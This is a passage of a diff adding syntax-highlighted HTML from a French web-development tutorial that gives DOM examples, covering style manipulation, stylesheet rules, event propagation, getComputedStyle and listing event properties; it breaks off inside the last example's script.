+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>img</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>img1<span class="punctuation token">"</span></span>
+       <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>image1.gif<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token">
+       <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">border</span><span class="punctuation token">:</span> <span class="number token">5</span>px solid green<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span>
+       <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span> <span class="attr-name token">alt</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>border test<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>FormName<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Make border 20px-wide<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>setBorderWidth(20);<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Make border 5px-wide<span class="punctuation token">"</span></span>  <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>setBorderWidth(5);<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Exemple_3_:_manipulation_de_styles" name="Exemple_3_:_manipulation_de_styles">Exemple 3 : manipulation de styles</h2>
+
+<p>Dans cet exemple simple, on accède à certaines propriétés basiques de style d'un élément de paragraphe HTML à l'aide de son objet style. L'objet style de l'élément et ses propriétés de style CSS peuvent être récupérés et définis depuis le DOM. Dans ce cas-ci, les styles individuels sont manipulés directement. Dans l'exemple suivant (l'exemple 4), on utilisera les feuilles de style et leurs règles pour changer les styles de documents entiers.</p>
+
+<pre class="brush:html line-numbers  language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>Changing color and font-size example<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+<span class="keyword token">function</span> <span class="function token">changeText</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> p <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"pid"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  p<span class="punctuation token">.</span>style<span class="punctuation token">.</span>color <span class="operator token">=</span> <span class="string token">"blue"</span>
+  p<span class="punctuation token">.</span>style<span class="punctuation token">.</span>fontSize <span class="operator token">=</span> <span class="string token">"18pt"</span>
+<span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pid<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>window.location.href <span class="punctuation token">=</span> <span class="punctuation token">'</span>http://www.cnn.com/<span class="punctuation token">'</span>;<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>linker<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>rec<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>changeText();<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Exemple_4_:_utilisation_de_feuilles_de_style" name="Exemple_4_:_utilisation_de_feuilles_de_style">Exemple 4 : utilisation de feuilles de style</h2>
+
+<p>La propriété <code>styleSheets</code> de l'objet <code>document</code> renvoie une liste des feuilles de style qui ont été chargées pour ce document. On peut accéder à ces feuilles de style et leurs règles individuelles à l'aide des objets <code>stylesheet</code>, <code>style</code> et <code>CSSRule</code>, comme montré dans cet exemple qui affiche tous les sélecteurs de règles de style dans la console.</p>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> ss <span class="operator token">=</span> document<span class="punctuation token">.</span>styleSheets<span class="punctuation token">;</span>
+
+<span class="keyword token">for</span><span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> ss<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">for</span><span class="punctuation token">(</span><span class="keyword token">var</span> j <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> j <span class="operator token">&lt;</span> ss<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>cssRules<span class="punctuation token">.</span>length<span class="punctuation token">;</span> j<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">dump</span><span class="punctuation token">(</span> ss<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>cssRules<span class="punctuation token">[</span>j<span class="punctuation token">]</span><span class="punctuation token">.</span>selectorText <span class="operator token">+</span> <span class="string token">"\n"</span> <span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Pour un document avec une seule feuille de style dans laquelle les trois règles suivantes sont définies :</p>
+
+<pre class="eval">BODY { background-color: darkblue; }
+P { font-face: Arial; font-size: 10pt; margin-left: .125in; }
+#lumpy { display: none; }
+</pre>
+
+<p>Ce script affiche les lignes suivantes :</p>
+
+<pre class="eval">BODY
+P
+#LUMPY
+</pre>
+
+<h2 id="Exemple_5_:_propagation_d.27.C3.A9v.C3.A8nements" name="Exemple_5_:_propagation_d.27.C3.A9v.C3.A8nements"><a id="Exemple_5_:_propagation_d'évènements" name="Exemple_5_:_propagation_d'évènements"></a>Exemple 5 : propagation d'évènements</h2>
+
+<p>Cet exemple montre comment les évènements se déclenchent et sont gérés dans le DOM d'une manière très simple. Lorsque l'élément BODY de ce document HTML est chargé, un écouteur d'évènement est enregistré sur la ligne supérieure de l'élément TABLE. Celui-ci gère l'évènement en exécutant la fonction <code>stopEvent</code>, qui modifie la valeur de la cellule inférieure du tableau.</p>
+
+<p>Cependant, <code>stopEvent</code> appelle également une méthode d'objet <code>event</code>, {{domxref("event.stopPropagation")}} , qui empêche l'évènement de se propager (bubbling) plus haut dans le DOM. Notez que le tableau lui-même dispose d'un gestionnaire d'évènement {{domxref("element.onclick","onclick")}} qui devrait afficher un message lorsqu'on clique sur le tableau. Mais comme la méthode <code>stopEvent</code> a interrompu la propagation, après que les données du tableau aient été mises à jour, la phase évènementielle est effectivement arrêtée et un message d'alerte est affiché pour le confirmer.</p>
+
+<pre class="brush:html line-numbers  language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>Event Propagation<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>style</span><span class="punctuation token">&gt;</span></span><span class="language-css style token">
+<span class="selector token"><span class="id token">#t-daddy</span> </span><span class="punctuation token">{</span> <span class="property token">border</span><span class="punctuation token">:</span> <span class="number token">1</span>px solid red <span class="punctuation token">}</span>
+<span class="selector token"><span class="id token">#c1</span> </span><span class="punctuation token">{</span> <span class="property token">background-color</span><span class="punctuation token">:</span> pink<span class="punctuation token">;</span> <span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>style</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+<span class="keyword token">function</span> <span class="function token">stopEvent</span><span class="punctuation token">(</span>ev<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  c2 <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"c2"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  c2<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> <span class="string token">"hello"</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// cela devrait empêcher t-daddy d'obtenir le click.</span>
+  ev<span class="punctuation token">.</span><span class="function token">stopPropagation</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">"event propagation halted."</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">load</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  elem <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"tbl1"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  elem<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"click"</span><span class="punctuation token">,</span> stopEvent<span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span> <span class="attr-name token">onload</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>load();<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>table</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>t-daddy<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>alert(<span class="punctuation token">'</span>hi<span class="punctuation token">'</span>);<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tr</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>tbl1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>c1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>one<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tr</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>tr</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>td</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>c2<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>two<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>td</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>tr</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>table</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Exemple_6_:_getComputedStyle" name="Exemple_6_:_getComputedStyle">Exemple 6 : getComputedStyle</h2>
+
+<p>Cet exemple montre comment la méthode {{domxref("window.getComputedStyle")}} peut être utilisée pour obtenir les styles d'un élément qui ne sont pas définis dans l'attribut <code>style</code> ou à l'aide de JavaScript (c'est-à-dire, <code>elem.style.backgroundColor="rgb(173, 216, 230)"</code>). Ces derniers types de styles peuvent être récupérés avec la propriété plus directe {{domxref("element.style", "elt.style")}} , dont les propriétés sont listées dans la <a href="https://developer.mozilla.org/fr/docs/Web/CSS/Reference">liste des propriétés DOM CSS</a>.</p>
+
+<p><code>getComputedStyle()</code> renvoie un objet <code>ComputedCSSStyleDeclaration</code>, dont les propriétés de style individuelles peuvent être référencées à l'aide de sa méthode <code>getPropertyValue()</code> comme montré dans l'exemple suivant.</p>
+
+<pre class="brush:html line-numbers  language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>getComputedStyle example<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+<span class="keyword token">function</span> <span class="function token">cStyles</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> RefDiv <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"d1"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> txtHeight <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"t1"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> h_style <span class="operator token">=</span> document<span class="punctuation token">.</span>defaultView<span class="punctuation token">.</span><span class="function token">getComputedStyle</span><span class="punctuation token">(</span>RefDiv<span class="punctuation token">,</span> <span class="keyword token">null</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getPropertyValue</span><span class="punctuation token">(</span><span class="string token">"height"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  txtHeight<span class="punctuation token">.</span>value <span class="operator token">=</span> h_style<span class="punctuation token">;</span>
+
+  <span class="keyword token">var</span> txtWidth <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"t2"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> w_style <span class="operator token">=</span> document<span class="punctuation token">.</span>defaultView<span class="punctuation token">.</span><span class="function token">getComputedStyle</span><span class="punctuation token">(</span>RefDiv<span class="punctuation token">,</span> <span class="keyword token">null</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getPropertyValue</span><span class="punctuation token">(</span><span class="string token">"width"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  txtWidth<span class="punctuation token">.</span>value <span class="operator token">=</span> w_style<span class="punctuation token">;</span>
+
+  <span class="keyword token">var</span> txtBackgroundColor <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"t3"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> b_style <span class="operator token">=</span> document<span class="punctuation token">.</span>defaultView<span class="punctuation token">.</span><span class="function token">getComputedStyle</span><span class="punctuation token">(</span>RefDiv<span class="punctuation token">,</span> <span class="keyword token">null</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getPropertyValue</span><span class="punctuation token">(</span><span class="string token">"background-color"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  txtBackgroundColor<span class="punctuation token">.</span>value <span class="operator token">=</span> b_style<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>style</span><span class="punctuation token">&gt;</span></span><span class="language-css style token">
+<span class="selector token"><span class="id token">#d1</span> </span><span class="punctuation token">{</span>
+  <span class="property token">margin-left</span><span class="punctuation token">:</span> <span class="number token">10</span>px<span class="punctuation token">;</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="function token">rgb</span><span class="punctuation token">(</span><span class="number token">173</span>, <span class="number token">216</span>, <span class="number token">230</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">20</span>px<span class="punctuation token">;</span>
+  <span class="property token">max-width</span><span class="punctuation token">:</span> <span class="number token">20</span>px<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>style</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>d1<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="entity token" title=" ">&amp;nbsp;</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span> <span class="attr-name token">action</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>cStyles();<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>getComputedStyle<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span>
+    height<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>t1<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>1<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+    max-width<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>t2<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>2<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+    bg-color<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>t3<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>3<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Exemple_7_:_affichage_des_propri.C3.A9t.C3.A9s_d.27un_objet_event" name="Exemple_7_:_affichage_des_propri.C3.A9t.C3.A9s_d.27un_objet_event">Exemple 7 : affichage des propriétés d'un objet <code>event</code></h2>
+
+<p>Cet exemple utilise des méthodes DOM pour afficher les propriétés d'un objet {{domxref("window.onload")}} {{domxref("event")}}   et leurs valeurs dans un tableau. Il montre également une technique utile utilisant une boucle <code>for..in</code> pour parcourir les propriétés d'un objet et obtenir leurs valeurs.</p>
+
+<p>Les propriétés des objets <code>event</code> diffèrent sensiblement entre les différents navigateurs, la <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">spécification norme DOM</a> liste les propriétés standard, mais beaucoup de navigateurs ont ajouté un bon nombre de propriétés supplémentaires.</p>
+
+<p>Placez le code qui suit dans une fichier texte vide et chargez-le dans différents navigateurs, vous serez surpris des différences entre le nombre et le nom des propriétés. Vous pouvez également ajouter quelques éléments à la page et appeler cette fonction depuis d'autres gestionnaires d'évènements.</p>
+
+<pre class="brush:html line-numbers  language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>utf-8<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>Show Event properties<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>style</span><span class="punctuation token">&gt;</span></span><span class="language-css style token">
+<span class="selector token">table </span><span class="punctuation token">{</span> <span class="property token">border-collapse</span><span class="punctuation token">:</span> collapse<span class="punctuation token">;</span> <span class="punctuation token">}</span>
+<span class="selector token">thead </span><span class="punctuation token">{</span> <span class="property token">font-weight</span><span class="punctuation token">:</span> bold<span class="punctuation token">;</span> <span class="punctuation token">}</span>
+<span class="selector token">td </span><span class="punctuation token">{</span> <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">2</span>px <span class="number token">10</span>px <span class="number token">2</span>px <span class="number token">10</span>px<span class="punctuation token">;</span> <span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.odd</span> </span><span class="punctuation token">{</span> <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="hexcode token">#efdfef</span><span class="punctuation token">;</span> <span class="punctuation token">}</span>
+<span class="selector token"><span class="class token">.even</span> </span><span class="punctuation token">{</span> <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="hexcode token">#ffffff</span><span class="punctuation token">;</span> <span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>style</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+
+<span class="keyword token">function</span> <span class="function token">showEventProperties</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">function</span> <span class="function token">addCell</span><span class="punctuation token">(</span>row<span class="punctuation token">,</span> text<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> cell <span class="operator token">=</span> row<span class="punctuation token">.</span><span class="function token">insertCell</span><span class="punctuation token">(</span><span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    cell<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span><span class="function token">createTextNode</span><span class="punctuation token">(</span>text<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
